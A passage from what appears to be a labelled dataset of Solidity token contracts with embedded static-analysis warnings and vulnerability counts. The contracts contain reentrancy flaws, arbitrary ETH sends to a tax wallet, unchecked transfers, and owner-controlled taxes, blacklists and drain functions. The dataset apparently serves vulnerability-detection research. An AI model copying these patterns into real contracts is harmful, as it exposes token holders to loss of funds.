address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 6b2840f\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e43a316\n\t\t\t\t// reentrancy-eth | ID: b88380e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e43a316\n\t\t\t\t\t// reentrancy-eth | ID: b88380e\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b88380e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b88380e\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b88380e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e43a316\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b88380e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b88380e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e43a316\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: cd3ad3c\n\t\t// reentrancy-events | ID: e43a316\n\t\t// reentrancy-benign | ID: ba89087\n\t\t// reentrancy-eth | ID: b88380e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b6c2ac2): WCC.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b6c2ac2: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: cd3ad3c\n\t\t// reentrancy-events | ID: e43a316\n\t\t// reentrancy-eth | ID: b88380e\n\t\t// arbitrary-send-eth | ID: b6c2ac2\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 07302e8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 07302e8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 37a7142): WCC.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 37a7142: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8a6b105): WCC.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8a6b105: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c573e31): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c573e31: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 07302e8\n\t\t// reentrancy-eth | ID: c573e31\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 07302e8\n\t\t// unused-return | ID: 37a7142\n\t\t// reentrancy-eth | ID: c573e31\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 07302e8\n\t\t// unused-return | ID: 8a6b105\n\t\t// reentrancy-eth | ID: c573e31\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 07302e8\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c573e31\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 07302e8\n transferDelayEnabled = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10704.sol",
"size_bytes": 21404,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract WLFI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7554170): WLFI._taxWallet should be immutable \n\t// Recommendation for 7554170: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b3fecde): WLFI._initialBuyTax should be constant \n\t// Recommendation for b3fecde: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: c113703): WLFI._initialSellTax should be constant \n\t// Recommendation for c113703: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7d3c642): WLFI._finalBuyTax should be constant \n\t// Recommendation for 7d3c642: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5716f9a): WLFI._finalSellTax should be constant \n\t// Recommendation for 5716f9a: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c3d8e1d): WLFI._reduceBuyTaxAt should be constant \n\t// Recommendation for c3d8e1d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4c609f0): WLFI._reduceSellTaxAt should be constant \n\t// Recommendation for 4c609f0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 896c3e9): WLFI._preventSwapBefore should be constant \n\t// Recommendation for 896c3e9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"WLFI6900\";\n\n string private constant _symbol = unicode\"WLFI6900\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4c6a4f8): WLFI._taxSwapThreshold should be constant \n\t// Recommendation for 4c6a4f8: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ea3cfa1): WLFI._maxTaxSwap should be constant \n\t// Recommendation for ea3cfa1: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7ea9a22): WLFI.uniswapV2Router should be immutable \n\t// Recommendation for 7ea9a22: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 513827c): WLFI.uniswapV2Pair should be immutable \n\t// Recommendation for 513827c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 126c694): WLFI.sellsPerBlock should be constant \n\t// Recommendation for 126c694: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2199654): WLFI.buysFirstBlock should be constant \n\t// Recommendation for 2199654: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 60;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 417eee0): WLFI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 417eee0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 29ffbaa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 29ffbaa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fb8dd7d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fb8dd7d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 29ffbaa\n\t\t// reentrancy-benign | ID: fb8dd7d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 29ffbaa\n\t\t// reentrancy-benign | ID: fb8dd7d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fad9c6f): WLFI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for fad9c6f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: fb8dd7d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 29ffbaa\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: be43218): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for be43218: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 40f6e89): WLFI._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 40f6e89: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e7cb5ac): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e7cb5ac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f1216c8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f1216c8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 40f6e89\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: be43218\n\t\t\t\t// reentrancy-eth | ID: e7cb5ac\n\t\t\t\t// reentrancy-eth | ID: f1216c8\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: be43218\n\t\t\t\t\t// reentrancy-eth | ID: e7cb5ac\n\t\t\t\t\t// reentrancy-eth | ID: f1216c8\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: e7cb5ac\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: e7cb5ac\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: be43218\n\t\t\t\t// reentrancy-eth | ID: f1216c8\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: be43218\n\t\t\t\t\t// reentrancy-eth | ID: f1216c8\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f1216c8\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: be43218\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f1216c8\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f1216c8\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: be43218\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 29ffbaa\n\t\t// reentrancy-events | ID: be43218\n\t\t// reentrancy-benign | ID: fb8dd7d\n\t\t// reentrancy-eth | ID: e7cb5ac\n\t\t// reentrancy-eth | ID: f1216c8\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6f0484a): WLFI.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6f0484a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 29ffbaa\n\t\t// reentrancy-events | ID: be43218\n\t\t// reentrancy-eth | ID: e7cb5ac\n\t\t// reentrancy-eth | ID: f1216c8\n\t\t// arbitrary-send-eth | ID: 6f0484a\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 2231f26): WLFI.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 2231f26: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 2231f26\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e38a916): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e38a916: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1773679): WLFI.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1773679: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 25a1053): WLFI.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 25a1053: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 86f0ac7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 86f0ac7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: e38a916\n\t\t// unused-return | ID: 25a1053\n\t\t// reentrancy-eth | ID: 86f0ac7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e38a916\n\t\t// unused-return | ID: 1773679\n\t\t// reentrancy-eth | ID: 86f0ac7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e38a916\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 86f0ac7\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: e38a916\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10705.sol",
"size_bytes": 23042,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() 